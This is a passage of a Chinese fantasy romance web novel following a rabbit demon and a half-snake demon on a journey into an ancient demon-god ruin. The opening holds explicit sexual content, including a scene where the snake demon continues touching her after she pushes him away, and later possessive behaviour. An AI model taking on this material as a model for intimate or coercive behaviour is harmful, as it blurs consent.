他静静地看着她,想,她的手还可以玩弄一些其他的地方。 然, 胆小的兔子,对危险总有一种敏锐的直觉, 她又要跑了。 而且, 还是带着他的尾巴尖跑。 他当然要追上来。 追上的一刻, 小兔香甜的气味就俘获了他, 真有蹂躏破坏的欲望。 尤其是她在说什么懵懂大胆的话? 她的师姐们都教了她什么? 还想两-根一起? 真是, 贪心的兔子。 他发笑地去舔玉扶眼角的泪痕,缓慢得像是在品尝着什么珍馐。 来自野兽享受似的挑逗,玉扶哼唧都不敢, 缠绕着她小腿肚的蛇尾, 天然有着高一层食物链对她的压制。 她瑟瑟地接受着,等待着,还憋着泪。 她从来不懂,眼泪到底有什么好舔的, 她想, 若是有一日, 阿裴也流泪,她也一定要尝尝。 如此精神胜利地想着,被品尝的等待也就不是很难熬, 慢慢的,嘶嘶的舔舐消失, 取而代之的是冰凉的唇吻上了她眼皮,锢在脖颈的手也转而掰过她的面向,摩挲地停留在腰后。 这时, 玉扶才发现,不知道什么时候,阿裴的蛇尾已经收了起来,重新变得像个人。 人模人样的阿裴让玉扶压力陡轻。 她颤着睫抬眼,视线不断停留他妖孽的面庞,似乎只有多看几眼,才能驱散他非人部分的惊惧。 玉扶确实是这样想的,甚至企图与裴息尘商量:“你想睡我的话,可不可以别用方才那个形态?” “我不是觉得可怕,而是觉得,那个形态神交更适用一点。” 毕竟神交嘛,怎么样古怪的形态都能拧在一起的。 躯体的话,玉扶认为,她才只同阿裴的尾巴尖打好了关系,其他的她还没适应呢。 她在撇清害怕的同时,说得异常诚恳。 但,她的诚恳没有等来同等的对待,裴息尘的视线,极其平静,徐徐,说话也慢条斯理:“阿扶,你懂很多。” 不是疑问,而是肯定,裴息尘不止一次发现,玉扶于这方面懂得异常多,接受力也尤其的高,就连他也没有想过如何对她,她却已经自己想到了。 原来,不是野生的兔子,而是有些奇怪的家养兔子。 并不算意外,从她第一次用出双修功法的时候就已经想到。 可是,还是不受控地想,她这些知识都是怎么学的呢? 玉扶渐被看得不自在,总觉得有些悚然,恍若阿裴舔的不是她的眼尾,而是她的全身。 她挣扎地动了动,裴息尘却极其淡地笑了笑,冰凉的指腹细细上滑,带着调-教的压制。 玉扶的后颈被掌住,裴息尘的唇随之压下,轻轻地一咬唇瓣,并不深入地分开,往下,咬开衣袍,隔着最贴身的一层吮住,用舌头吃,还用牙弹。 玉扶鲜润的唇瓣微张着,完全没预料到阿裴的举动会这样的意外? 意外得她有些无措,还有些失神,身子控制不住地抖,害怕、颤栗、渴望与失控全然混杂在一块,最后只能溢出娇气的哼哼声。 裴息尘吃够了一边,优雅又妖孽舔过唇瓣,抬起头,扯出一笑问:“阿扶,这也学过?” 玉扶先看到的是他的笑容,妖孽,充满着邪气,上挑的眼尾也全是坏蛋的不逊,组合在一起的五官,有种堕落到极致的吸引力,玉扶好费力地才能跳过他的脸庞,去辩着他话中的意思。 但显然的,裴息尘并没有等待她回答的耐心。 他又低下了头,公平地照料着另一侧,许是有了经验的缘故,几下子就把玉扶吃得脑子迷糊了,全然没有留意阿裴的尾巴又兴奋地跑了出来。 他的蛇尾很大,很长,上面部分托住了她的后腰,可最调皮的尾巴尖却偷偷地绕上她的脚腕向上。 等她反应过来时,已被阿裴得逞,凉意尤甚地贴着她的腿-根。 这让她身子都簌簌地轻颤,她身心都受到了冲击。 她开始并起腿,不让尾巴尖乱探,双手也费力推动阿裴的脑袋,完全说不出话来地摇头抗拒。 她是学习好多知识了,可理论与实践完全是不同的,特别是,她偏爱挑的是能增修为的学,里面就算有人物关系复杂一些的,可也没有涉及阿裴这样半人半妖,还爱用一半原形作怪的。 这种行为,玉扶就同理解不了他为什么喜欢舔眼泪一样,理解不了,全身都奇奇怪怪的,灵魂都像是要被欺负了似的发飘发软。 最重要的是,这种方式不涨修为,功法的书简上记载的,都是双-修为重,肉-+欲为辅的,阿裴全然只取辅助的部分欺负她。 她不服气! 被逼急了的玉扶想咬人。 然也是她愤怒的动作,拱腰时,自己撞了上去,本就很重,很急了,坏尾巴尖还毫不放过机会地在外头勾一下,抠一下。 光滑但有细鳞的触感,擦得玉扶大脑懵懵,眼前空白。 她被激出了一层薄汗,整个脑袋埋入裴息尘的颈侧,身子一耸一耸地哭了,她讨厌死阿裴了,他比妖还妖,没有羞耻,没有道德,没有下限。 他怎么可以这样欺负她,她恨恨地咬他,咬得他发出了嘶气声,才闷声道:“你让你的尾巴出去,不可以再碰我了。” 即便被咬,裴息尘也保持着拥着玉扶的姿势,蛇尾更是给了她极佳的支撑,他垂眼端详了一会玉扶,她楚楚可怜,小脸潮-红,眉眼中带着一种生机勃勃的艳色,只是外头勾勾,擦擦而已,去得有点快,还很有闹气的力气。 他心中做完总结,终于撤出了尾巴尖,让玉扶一起看地评价道:“阿扶,是被你淋湿的。” 玉扶根本躲不开他的目光,只能羞耻地去瞪他讨厌的尾巴。 那尾巴尖覆着水淋淋的一层,示威似的摇摆着。 更气了。 偏生裴息尘还要问她:“阿扶,现在还觉得它只可以神交吗?” “不舒服吗?” “要不要尝尝你自己的味道?” …… 他越问越没有下限,玉扶第一次理解了什么是纸上得来终觉浅。 他就是个不折不扣的大坏蛋! 玉扶并不想和他继续了,她的渡情期反应并没有特别频繁,尤其今日的冲击对她特别大,她一点也不想色色的事情了。 在见到阿裴一点也没有缓解,裂开冒出点什么的鳞片时,她毫不犹豫地跑了。 很庆幸,阿裴这次没有追来,但代价是,玉扶听了他一晚上不知廉耻的各种声音。 她后半夜一点也没有睡着,早上起来还两脚发虚,根本要站不住。 反观阿裴,他也没有精神,但他平时就这样,懒洋洋的。 他们二妖,就这样跟上了前往妖神古墟的大部队。 鹰族没有飞舟这种代替飞行的工具,但精锐们也不可能把灵力浪费在飞行之上,故而,有一批专注飞行速度的鸟妖为坐骑。 玉扶自然和裴息尘分在一起,还有熟悉的妖蛛娘和不太熟的妖单云霄。 从上了飞行鸟妖的背,玉扶就贴着蛛娘,没话找话地与她说话,然后偷偷地夹带上几句真正想问的。 诸如:“不同种族的妖,一起修炼的时候会化为原形吗?” 又诸如:“双-修时,如果有其中一方妖对自己某部位的原形很得意,非要留着怎么办?” 还有:“神交可以解决渡情期的身体反应,那可以一直只神交不其他吗?” …… 蛛娘烦死问题一堆的玉扶了,她以为她问得很隐晦吗? 每一句都指向她和大妖好吧。 蛛娘翻着白眼地回答:“都是妖,哪有这么多担忧,想怎样就怎样。” “全部原形可以,留一部分也可以,神交可以,一边神交一边恩爱也可以。” 说到这里,蛛娘忍不住看了一眼在思考的玉扶,兔妖虽不强,但通身的干净纯美,几乎可想,原形也很拿得出手。 不像她,原形是蜘蛛,神交的时候倒是无所谓,但想玩一些情趣的话,就拿不出手了,总不能放出触肢来吧。 这笨兔子不会是来她这里显摆的吧?报复她之前泡池子时对她的显摆? 她着意避开了大妖的视线,对着玉扶咧嘴,面庞显出原形的狰狞,八只眼一并冒着怒气的火花:“臭兔子,你是跟我显摆你们花样多,你可以放出尾巴、耳朵是吧?” “我是没你花样多,但我男人换得勤,你可以吗?”她用饱满的胸脯撞了撞玉扶,挑衅又嫌弃地向下蔑眼。 没有比被揍过的蛛娘更知晓大妖对兔妖的占有欲有多强。 便是某方面差点,想来兔妖也跑不到。 如此想着,她倒有些同情玉扶了。 玉扶被蛛娘撞地踉跄了一下,根本没注意她流露出的同情,因为,蛛娘误解了她用意说的那些话,已经够给她再打开新知识的大门了。 师姐们都是人修,而于人修中行走的妖修,大部分都是不流通的灵兽修炼而成,也以至于,她学习的知识还有好大的一个缺漏。 但现在她知道了,妖比她想象中的开放,什么都可以,阿裴可以放出尾巴,而她也可以放出尾巴和耳朵。 原来阿裴昨天的行为在妖当中是正常的,只是因为他是蛇妖,所以尾巴的作用更多点罢了。 是她见识浅了,习惯得还不够。 她同蛛娘取完经,脸蛋带着可疑红晕地重新退到飞行鸟妖的尾翼,主动贴向阿裴坐。 裴息尘懒懒垂了下眼,他的神识很强,玉扶与蛛娘二人说的话,在她们察觉不了时,就已入了他的耳。 让他感到兴味的是,他的小兔,到底是领悟到了什么,这就又不躲他了? 裴息尘自然不会去破坏这种乐见其成的好转。 他只用端着,静静地等待。 果然,袖子被扯了扯,漂亮的小兔,整个人都柔软轻盈地贴上来,微仰的面颊上飘着红,唇瓣细声细气地说着软和话: “阿裴,我承认你的尾巴不止可以神交了。” “哦,然后呢?”裴息尘支着腿,闲闲地问。 然后,然后,玉扶想了好一会,当着裴息尘的面冒出了耳朵,脸蛋红红地道:“我知道这种外放的形态都是正常的了。” “我只是还不适应。” 说完,害羞地低下了头,她很少害羞的,但谁让她面对的是阿裴,他比她还像妖,是色魔中的色魔。 裴息尘眼尾显见地扬了扬,他自是不知玉扶此刻心中如何想他,但他不会天真到认为玉扶只是在说化形而已,妖的各色化形,从入妖域的一日开始,玉扶就不知道见了多少。 那还能是在不适应什么? 当然是他欺负她时放出的尾巴。 裴息尘笑了,很轻,但很愉悦,喷出的气流就跟在耳边发震一样。 玉扶放出的兔耳,不自在地动了动。 下一刻,她的耳朵尖被咬了,玉扶一径过电似的端直了身子,瞠眼去护。 裴息尘从善如流地松开唇,压下眼,宛如情人呢喃地问她:“我的好阿扶,那你想如何适应?” “嗯我听你的。”《 》 40-50 第41章 玉扶觉得阿裴真的是彻头彻尾的大坏蛋。 他怎么能贴着她的耳朵, 那样说话就喘喘的,夹夹的。 就好像在大白天偷做了什么一样,她放出的耳朵, 是原形,化形的耳朵自然就成了装饰, 可就是这样, 她的兔耳朵才更痒了, 他简直喘到她心里去了。 她坐都坐不安生, 小腹总感觉有什么要流下去。 糟糕的感觉, 羞耻的感觉。 她委腰往下缩,收回了自己的耳朵。 裴息尘有些可惜地盯着她发顶,回想着方才轻轻的一咬, 异常敏感的耳朵, 耳廓弧度的内里,薄薄的皮毛,透出全然漂亮的粉色,轻轻一碰耳尖, 颤得连腰肢都软了。 敏、感, 偏又接受力极高, 可真想探究她的极限在哪啊。 他的眼神好可怕,玉扶诡异地有种做了糟糕决定的不安。 不过,她还是认真思考了怎么适应:“就一点点适应。” “先不要尾巴”玉扶顿了一下, 认为说得歧义,又重新道:“不是不要尾巴是尾巴, 不可以欺负我。” “可以。” 裴息尘向来对暂时性的条件答应得极为爽快,根本没有犹豫。 似曾相识的大方,玉扶警惕抬眼, 可又想不出,这有什么好值得警惕的,只能继续想道:“也不要两-根。” 裴息尘默了默,他发现玉扶比他想的,还在意数量,然而,两-根从来都不是同时用的,他没有解释,依旧道:“可以。” “那可不可以只要神交?” 玉扶也知晓自己问得过分了,可是,阿裴的太好说话,总令她有种什么都会被答应的错觉,不试探就如同白错过机会一样可惜。 果然,凉凉的“不能”二字,打击得玉扶没有其他的想法了。 * 飞行鸟妖依旧在疾速飞行,听说要这样连飞好好几日才能到妖神古墟的遗址。 并不算久。 如果是人族修士的话,可能修炼下,眼睛一闭一睁就过去了,可同行的都是妖,还大都都算得上是大妖,那修炼之法就更少统一了。 有注重修炼血脉的,也有注重锤炼妖躯的,还有同人修一样在意境界提升的,当然也还有玉扶这种,天生亲近某一类灵感,需借助曦光与月华修炼的。 她最在乎这两个时点,但过了这两个时点,就收效甚微,也以至她有点百无聊赖。 她趴在裴息尘支起的膝上,不断望着飞掠而过的黑乎乎景象,忽然想起她昨日留在了阿裴房中的剑穗。 似乎是落在了床上?阿裴应该有发现的吧? 想着,她摇动裴息尘的膝盖:“阿裴,不要睡了。” 一连摇了几下。 裴息尘一直很讨厌有人打扰他休息,单云霄也几乎不在他不醒着的时候打扰,但打扰他的是玉扶,他的小兔。 无奈撑起身,眸中还是流出了几分“你最好有事”的意味。 玉扶并不怵地倾向他,但怕扰了旁的妖修炼,她的声音还是压得很低:“我是想问,阿裴,我给你备的礼物,你有见到吗?” 浓黑的云层飞快变动,少女的眸光却亮得惊人,浓密眼睫眨动下,有一种难说的澄澈,可也正是澄澈太过,望见她瞳仁里头的自己,方觉妖冶动摇。 裴息尘抬手遮住她的眼一瞬,才道:“见到了。” 玉扶拉下他的手,期待问:“那你喜欢吗?” 裴息尘:“不像是给人的。” 他的手中出现了那条剑穗——方胜结,上方豆大浅色珠子固定,下方蓝色宝石坠流苏。 完全想不到怎么佩戴。 “也不像是给妖的。”他补了一句。 玉扶:“” “这是佩在剑上的。” “就你那把好凶好凶的剑。” 玉扶有些气闷,师姐明明说这种礼物很普遍,很适用的。 但,她解释完,也没见阿裴流露出高兴的神色,反而像是不爽快了? 玉扶也实没有给人送礼的经验,完全摸不准问题是出在了哪,她还是小声地问:“你不喜欢?” “为什么不喜欢呢?” “这方胜结我编好久,我师姐说这代表一路平安,而且这结相叠成双,同心相连,还有永结同心的意思。” 玉扶说得有些不好意思了,她只是想讨好大妖,编的时候也没有想这么多,并且,她其实只学会了这一种结的编法。 裴息尘越听,面色如便秘一样难看:“所以,你编很久,不是给我的,是给一把剑的?” “你要跟一把剑永结同心?” 玉扶被他的区分惊到了,嘴唇翕张一下,才寻到话出口:“剑不是你的吗?” “那有什么区别?” 但很快,玉扶反应过来了,她想起来,阿裴某些方面真的非常非常小气,像息尘和阿裴,名字绝不能喊错,他们各自说过的话也绝对不能记错…… 可是,她没想过,怎么连剑也要单独区分啊! 要是早想到这点,她就送发带了。 玉扶生出些懊恼。 而此时的裴息尘,目中阴鸷若有若无,一边,他认为玉扶这样认定无可厚非,可一边,还是经不住地嫉妒,二百年,第一个礼物,不是他的,而是一把自己跟上来,勉强用得顺手的剑的。 越想,眸底越发赤红阴冷,撅断剑的心都有了。 当然,玉扶并猜不透他心里在想什么,可她不是会懊恼好久的兔子,她既然已经知道了阿裴不高兴的缘由,那就很好解决啊,一条蓝缎发带被玉扶递到了阿裴的眼下。 “这是和剑穗一起准备的礼物。” “有些丑,我本来不想送的。” “不过,现在给你了。” 鶠蓝的绸质发带如一道凝住的流光挂在玉扶手心,天是黑的,但她带来的色彩却是亮的。 她用湖水一样清澈包容的眼睛看他,美好得他一时不想去破坏。 玉扶稀罕地看阿裴,她第一次在阿裴的脸上看到类似呆滞的表情,换了平时,他应该很懒地瞥一眼,然后挑挑眉,坏蛋一样地笑,指使她去做些什么,或是说上一句“丑”之类的话。 他这样什么都不说,看得她好不自在,玉扶怀疑自己是被阿裴压迫出病来了。 终于,裴息尘缓缓掀了眼,用玉扶熟悉的神情语调指使了她:“替我束上。” 玉扶憋了好长的一口气终于呼出,乐颠颠地挪到了阿裴的身后,虽然是被指使,可比起面对不习惯的阿裴,还是简单了不知道多少,她才想不透他一天天的到底在想什么。 但阿裴真的好高,这样背对她坐着,她也要抬臀挺腰,才能更轻松些将发带往他马尾上比划。 玉扶并没有帮人绑发带的经验,不过阿裴本就有束发,她就偷懒地直接绕一绕绑上,然后将绕圈突兀的部分,往他头发下藏,最后才理了理垂下的发带。 手法很粗糙,但发带的材质,还有阿裴乌黑漂亮的发质,很好地弥补了这一点。 玉扶欣赏地瞧着两段鶠蓝和阿裴满头微曲的发,真的非常契合,除去,她的绣工。 想了想,她扒拉了阿裴的发几下,让发带半藏半现,才侧身移开点地道:“好了。” 恰是时,鸟妖飞行开阔之处,夜风吹拂,星光清耀,恍若银河倾泻,漫着无边瑰丽色泽。 自然的震撼永远凌驾所有修行之上,不止是玉扶,裴息尘也被宛如伸手可碰的漫天星子吸引。 但更吸引他的是玉扶,她抬着眼,星光浮照下,浑然少女的模样,整个天际的精华都落到她身上似的,流丽夺目。 真是哪哪都好看,漂亮的小兔。 他伸出手,作摘取的动作。 玉扶奇怪地瞥眼望他,却见他那平平无奇的手,伸至了自己眼下,张开,星点光芒散出,是星光所凝的精华。 无甚用处,除了费力,和漂亮。 不过,玉扶喜欢,满脸的惊喜,她的目光从无边的天际,落到了裴息尘只眼可见的咫尺。 许是氛围太好,生来就厉害,修炼也喝水吃饭一样简单,轻易就超出旁人很远的裴息尘,难得的,主动想探究玉扶一点。 他嗓调平和问:“阿扶,你为什么一直想变厉害?” 他能理解妖本能中就对强大的向往,但他认为玉扶不一样,她太纯粹了,就连想从他身上啃几口都啃不明白。 可她修炼的决心偏又很强,渡情期都不忘利益最大化,既要又要的,要解决身体的反应,还要能提一提修为。 所以,是为什么呢? 他的眼静静地等待着玉扶回答。 玉扶轻轻“啊”一声,被问得有些懵,她在下山前,其实也没有特别特别追求变厉害啦,山上没有危险,山隔壁还有个照顾她的宗门,她每天过得不知道多快乐。 至于下山后,她是因为修为被恶妖吃了,才总想快点恢复以往的水平,不过,经历了游仙会的幻境,她倒是会稍微多想一些了。 她托着脸说道:“我想变得像姥姥一样,可以护住整座山的生灵。” “这样它们就不会被迫离开碧山,寻不到地方住了。” 裴息尘微微笑了,笨蛋兔子,总是不小心就透露出许多,但她说话的样子,实是朦胧美好,裴息尘没想趁势再套她的话,只是点了点头附和了她道:“你可以做到。” 玉扶心情更好了,也更觉得阿裴今天很好亲近,她就也问:“那阿裴,你是一直这么厉害吗?” “我都没见你修炼?” 玉扶很怀疑他是沾了勤快修炼的息尘的光,但是吧,他们展现出来的实力又都不是同一个路数,所以,玉扶一直很迷惑。 她还想知道,阿裴为什么会是半妖,他的父母哪一方是人呢?他的父母是不是很厉害?不然怎么会生出阿裴这样强大的半妖?还有,他和息尘到底是怎么样的存在,为什么在同一个身体里?是人和妖结合的后遗症吗? …… 玉扶有很多很多的好奇,她觉得他好神秘。 可是直觉地,问多了不礼貌,只克制地问了一个。 裴息尘又笑了,他笑起来,总是有一种和别人不一样的感觉,妖孽的很,坏坏的,吸引人的。 他只说了三个字,便打击得玉扶体无完肤。 “天生的。” 这三个字,让玉扶整个妖都不好了:“你骗我!” 怎么可能有妖天生就这么强,玉扶自认为自己血脉已然不错,能上溯至远古时的异兽鹓扶,加上在母亲腹中时受到的哺育,她生来就开了灵智,还有一点小神通,修炼也称得上快。 比之寻常的妖,起点不知道高了多少。 可是,要说生来不用修炼就这么强的,玉扶根本不信。 除非,是很远古血脉很菁纯的大妖后裔,才会生来有承载修为的血脉。 但妖神的时代距今已经很久远很久远,如今仍存的妖兽种族,有的确是源于他们,可血脉也已经稀薄的很了,根本不可能有一出生就带很强修为的妖。 要真有,生出来也是大概率要爆体而亡的。 裴息尘被玉扶斗气似的瞪着,没有解释,要说他自己,也是近期受狐妖引导,才又明白了些什么。 往日,他只当自己生来就强外,还被强行赠予了妖力,如今再联系妖王或是从妖神古墟出来的听闻,那他能承受那份赠予来的妖力也不意外了,他继承了她的血脉,所以有超出寻常的承受力。 只是,那时他还太小,很快便被圣者封印,后来另一个他又作为佛子修行二百年,这些积攒下的力量,已让他称得上是当世的强者。 即便懒洋洋的不修炼,苏醒的妖性也会让他越来越强。 所以,说句天生的也并不为过。 他满脸都是对修不修炼无所谓的态度,狠狠刺激到玉扶了,嫉妒死了。 她气呼呼地坐下,没了看风景的心情。 没多久,天光渐亮,玉扶才静下心修炼。 飞行鸟妖不知疲倦地连日飞着,闪烁的星辰也几经出现与褪去。 直到五日后,飞行鸟妖的速度才开始慢下来。 妖神古墟将到—— 第42章 入眼可见大片的沙地, 没有任何植被,风吹过,扬起的也尽是风沙。 这样的环境, 飞行鸟妖飞得慢了一些也情有可原。 鸟背上其他妖,也个个自己亮起防护的屏障。 玉扶也不例外, 她立起身向远眺望, 鸟背却倏地一阵倾斜, 巨大飞舟带起的气流擦着飞行鸟妖而过。 玉扶摇晃几步, 腰间环上一臂, 裴息尘带着她站稳。 片刻功夫,飞行鸟妖重新调整好了平衡,随众妖目光看去, 飞舟华美气派, 纱帐垂绕,香风萦环间,诸多嬉笑嘲弄传来。 “噫~~,我说怎么突然空气中多了腐臭味呢, 原来是鹰族的啊!” 狭长狐狸眼男妖笑着接道:“可不是, 本就味道不好闻, 也不知道辛苦飞了多少天,这潮臭都要把我们从修界带回的香给盖过了,真晦气。” 说着嫌弃地捂鼻。 同时, 亦有狐妖提议:“我们还是舍些气力,让飞舟再快着些吧。” …… 玉扶才零星听了几句, 便见自己这方,已有许多血性鸟妖冲飞舟而去,一时间, 打斗法光大作。 亦是这时,飞行鸟妖下头,烟尘滚滚,车骑轰然,可见诸多大型妖兽拉着宽阔车驾,急速前进,眼瞧着就要超过了飞舟与飞行鸟妖。 鹰族与狐族具反应过来,两相停手,飞舟加速,而出击的鸟妖也并不见回来,径直化为原形加速。 就连飞行鸟妖背上旁的鹰族也间或飞起,最后只余留了裴息尘,还有玉扶、蛛娘这样外募来的妖。 玉扶与裴息尘对了对眼,他一点也不关心现状,只好扭头又与蛛娘对了对眼道:“他们三族的关系确实是很差诶。” “那不然?” 蛛娘对兔妖的没见识,欲表现出嗤鼻的高傲,却倏地想起大妖还在玉扶身后,立即控制面色。 转变太快,整张美人皮显出诡异的抽抽,反惹了玉扶的笑。 笑过片刻,飞行鸟妖平滑落地,将他们停落鹰族末尾,只见,不远处,还有与之泾渭分明的两大妖族势力。 三方谁也看不惯谁,但停落后,诡异地没有打起来。 各自领头大妖率先踏出一步,各自祭出本族法宝,合力一处。 玉扶没见过这样的大场面,踮着脚也要看,她发现被祭出的法宝都很奇怪,三大妖族种族都不同,可祭出的法宝却有一种相似感,当它们碰撞一处时,凭空显出法阵。 法阵范围越来越大,法宝也于玉扶看不懂的阵点落下,一些血色的痕迹从法宝之处漫下,填满了整个法阵的纹路。 一股股威压渐渐从法阵中溢出,狂风也随之卷动,沙尘几乎遮挡了所有的视线。 玉扶自己展开的防护,一瞬像是遭到重击一般,裂出蛛网一样的痕迹。 裴息尘很快将玉扶纳入自己的结界内,他岿然不动地盯着法阵结成的方向,他能从这些血色中感受到出处,是血,还不是一般的血,而是注重锤炼血脉的大妖的血,想是三大妖族不出山的老家伙们,用了妖血封住庞大的妖力炼制的法器。 除此外,还斑杂了许多旁的妖族的血,但无不例外,皆是当世已稀少的血脉。 如此定位和强压,难怪狐妖要将妖神古墟透露给三大妖族,而三大妖族,皆对妖王之位虎视眈眈,同昔日妖王出处有关之地,也必然去一探。 不过,更让他感兴趣的是这个阵法,三大妖族的恶劣关系,他早已摸清,即便能各炼制法器,阵法也不会凭空而来。 他蓦地想起,狐妖驱使妖骸的那些法阵,还有她没有心脏,被他杀了也不死的古怪。 这些当中或还有关联。 尤想着,玉扶从他的身后探出头,只见一直在移动的法阵,终于与空荡荡的一处发生共振,法器立即变幻阵位,紧钉其上,紧接着,什么都没有的空中开始剧烈抖动,整片沙漠都受到影响地震动。 各族大妖们纷纷悬飞半空,紧盯一处,慢慢的,被法器钉住的地方,荡出水波的纹路,缓缓开了一扇联通另一处且完全透明的门。 门外是神识可感到边界的沙漠,门内也是同外头一样的沙地,若无有几个法器与血色的法阵区分,全然区分不了门内外之差。 可一旦将神识往那完全透明的门内探,便只有无边无际一个感觉。 众妖中,想也是有妖神识在第一时间就往里探了,此刻瞬地露出了痛苦的表情。 这种讯息自也是传递给了各自的首领,众妖首领点头,再不相让,争相飞入门中。 狐妖一族异常的坏,其颇有几分仙气的带队女子甫一入内,就往回收法器,门霎时颤了几颤。 玉扶和裴息尘也再不等待,携身冲入。 狼族的首领许是个暴脾气,隔着老远就开始骂:“雪漪,你个贱狐狸&%……¥” 一边骂也一边开始往回收法器,即便损失一些入内的妖众,法器也不能有损,谁知道这妖神古墟里是个什么情形,但只要法器还在,便不怕出不来。 想着,银朔狠狠剜了雪漪一眼,目光尤其落在她收起的法器,直如要上去抢一般定定。 “少主,莫生气,莫生气。”立时有一松狮发的妖修上前碎碎念:“想想长老的嘱咐,不是来打架的,不是来打架的……” 银朔推开碎碎念,愤愤收起法器。 三妖族的大长辈们,对几族之间的恶劣关系门清,故而合力外也皆各有防备,就拿这法器来说,只有自家的血脉可以催动,也可保但凡有个万一,有逃脱之力。 但这种逃脱之法有损自身,不不到万不得已,还是不启用的好, 便是为此,也不能还没开始寻到传承就打起来。 银朔显然还是听进去了碎碎念的话,愤愤带自己一族的妖修同狐族走了相反的方向。 玉扶瞧瞧那走远的两妖族,又瞧瞧在自己一行中的大鸟妖单云霄,忽然觉得,鹰族的少主还是挺稳重的。 也不过是多瞧了几眼而已,脸蛋倏地被裴息尘掰过:“瞧他做什么?嗯?就看上新的妖了?” 玉扶完全理解不了他的脑回路,都在鹰族住大半个月了,要看上早看上了。 而且那是蛛娘睡过的妖。 玉扶认为,她对渡情对象的选择,还是很有操守的,连忙摇头:“我就随便看看。” “随便也不行。”裴息尘又开始坏蛋地威胁,洗脑:“阿扶,你是我的小兔。” 玉扶耳朵要听出茧了,她又不是他生的,才不是他的,正要点头敷衍,那边单云霄已点完鹰族入内的妖数,略有几个没来得及进入,但损失并不大,尤其是实力足以以一敌不知道好几的裴息尘没有掉队,更令他开怀。 几步走到裴息尘身边:“裴兄弟,依你看,我们往哪个方向的好?” 裴息尘“我跟同的少主安排。” 单云霄显然更高兴了,裴息尘也淡淡扯唇,一副随便怎么样他都跟的无谓姿态,他自然不会认为单云霄是真的问他的意见,本就是定好了寻妖墓的,又哪里会真的让募来的外妖做主,不过是表现下对他的重视,也试探一下对他的态度罢了。 二位大妖笑得和睦极了。 不过玉扶总觉得阿裴的笑中藏了点坏,就像是在等着看什么热闹一样。 她默默地没有说话,只是更贴紧了阿裴,毕竟这一行的妖修中,只有她的修为最低,努力了许久,中间还啃了阿裴好几口,可到了入妖神古墟,还是差点契机恢复到元婴。 而旁的妖,也按人修的等阶算的话,最低都是元婴往上,单云霄更是有化神期的修为。 至于阿裴,玉扶对他的实力还是有些模糊,只能勉强用息尘的标准来评估。 只是佛宗是另有一套独立统一标准外的实力划分,以佛法心境为度量,一个佛法心境,差不多有两个寻常的修为划分。 玉扶从圣者开始往下算,发现,息尘也少说有化神,顿时又有了仗势的底气,开始大胆地打量起周遭的环境。 越远离入内的地点,沙漠中开始出现庞大的骸骨,这些骸骨皆巨大无比,可见生前绝对是超越现今的强大妖兽。 然则,也只是过去了,当外界闯入的他们经过时,骸骨风化一般全成了砂砾的一部分。 几个妖修上前翻了翻砂砾,也仅有几小段坚硬一些的骨头细碎残留,企图从这样的遗骸中得到传承简直痴人说梦。 但很快,单云霄的法器发挥了作用,指引虽然微弱,但确实指向了一个方向。 便是单云霄自己,也松了好大一口气,唯他知晓,法器中还混入了昔日妖王的一滴血,只要妖王当真是从妖神古墟出去的,那这滴血便能发挥作用,也能证明雪仙所言非虚。 接下来,只要寻到妖墓所在,或能抢先其他两妖族获得传承。 日后,妖王之位不怕不归于鹰族。 他目中宛有雄火在燃,所有妖在他带领下,行程不断加快,玉扶渐渐开始跟不上,她不懂,寻机缘,原来是这么赶的一件事? 好在出了沙漠,单云霄终于停了下来修整,只派出属下先行探探周遭。 玉扶一屁股于地上坐下,用袖揩着汗,才接触地一瞬的功夫,便被阿裴捞了起来。 玉扶想哭的心都有了,她又不是大妖,她才不要什么面子,努力自己跟着一群会飞的鸟妖,休息了都还不让坐一坐吗? 阿裴怎么比赶路的鸟妖还过分! 她怨念地抬眼,汗淋淋的颊靥红扑扑,眼中全是控诉:“阿裴,你不累吗?我们坐下歇歇嘛。” 裴息尘低眼便可将玉扶的形容尽收眼底,笨兔子,他不过往日说过一次,不会同息尘一般带她,都走不动了,竟也不知道求求他。 她不是很会撒娇的吗? 他分明也说过,不会总拒绝她的。 裴息尘心里气闷得很,见她汗淋淋的面颊,不说话地施了个清爽的小法术,拂去她所有的潮热,降下正常的体温。 玉扶霎时觉得清爽多了,也不热了,可旁的妖就没有她这么好运了,只见方才也坐下的妖修,一个个惊慌站起,身上散出不少羽毛被烧焦的味道,就连蛛娘的法衣也被烫出了个大洞。 周遭原本黑乎乎的石头,从内部透出灼热的气息,石纹中显出熔浆一般滚烫的颜色。 苍鹰的嘹声也在下一刻急切冲来,探查妖修落地化形:“少主,百里外火山地动了。” 第43章 到底是多大的火山, 才会地动时影响到百里之外? 众妖来不及多想,盖因下一刻,地动与灼热从地表涌动而来。 玉扶和裴息尘本就站得略后, 此刻,稍往后退百十米, 便退回了沙地。 众妖也如是后撤, 热流遇到沙地, 发出“噗嗤噗嗤”的交汇声, 但好在蔓延也就此停住。 放眼而去, 皲裂的大片黑石之地,大大小小的裂隙中全涌动着熔浆的色彩。 甚至,不时地, 一些喷动的热流冲出地表, 形成熔泉。 “火山之外是什么?”单云霄问。 探查妖修低下了头:“峰连着峰,瞧着是连绵的山火,火气灼热,属下难以飞越。” 能被单云霄挑中入妖神古墟的, 不是亲近的妖, 那也是精锐, 飞行的本事,种族天赋在这,自是不用说, 这都能说飞不过去,那在场至少一半的妖无法飞越。 可若要这样在此耗着, 单云霄心有不甘。 再三斟酌下,单云霄决定将所带妖修分为两拨,化神往上修为足以抵御灼热的妖, 同他先行飞越火山,化神以下的妖修,就暂待火山地动结束。 当下行出了数名化神妖修,单云霄最后将目光落在了裴息尘身上,将裴息尘这样的大妖留下,他自是不放心的,跟着一起走,到时若万不得已,牺牲一个还算欣赏的外族妖修,也好过牺牲自己的族人。 他跨出一步邀道:“裴兄弟同我一道?” 虽是笑问,但落在玉扶身上的目光,无不提醒两个名额的交换条件。 裴息尘并不太喜欢灼热的环境,眼皮被热气熏得掀都懒得掀一下回道:“自然。” 然,步子都还未踏出一步,手先被身后的小兔勾住了,轻轻的摇,独属她的交流方式,避开在场所有妖地,通过魂体小兔冲入他的身体,化为软软的请求: “阿裴,可不可以带我一起?” “你不在,我会寻不到你的。”玉扶清楚知晓,虽想变厉害的是她,可能进妖神古墟全是沾了阿裴的光,在所有妖眼里,她就是个附带的。 此时阿裴与她分开,谁也不知道接下来会发生什么,她随时有被抛下的风险,想得更坏一点,被吃了也说不定,即便阿裴到时帮了大鸟妖,无恙地回来,又能追究到什么呢? 本就是她不够强。 不管怎么想,都是跟着阿裴的存活率高,她又勾了勾裴息尘的手,哭唧唧的撒娇不断: “阿裴,你真的就放心我跟着其他鸟妖们吗?” “阿裴,你最好心肠了,带上我吧。” 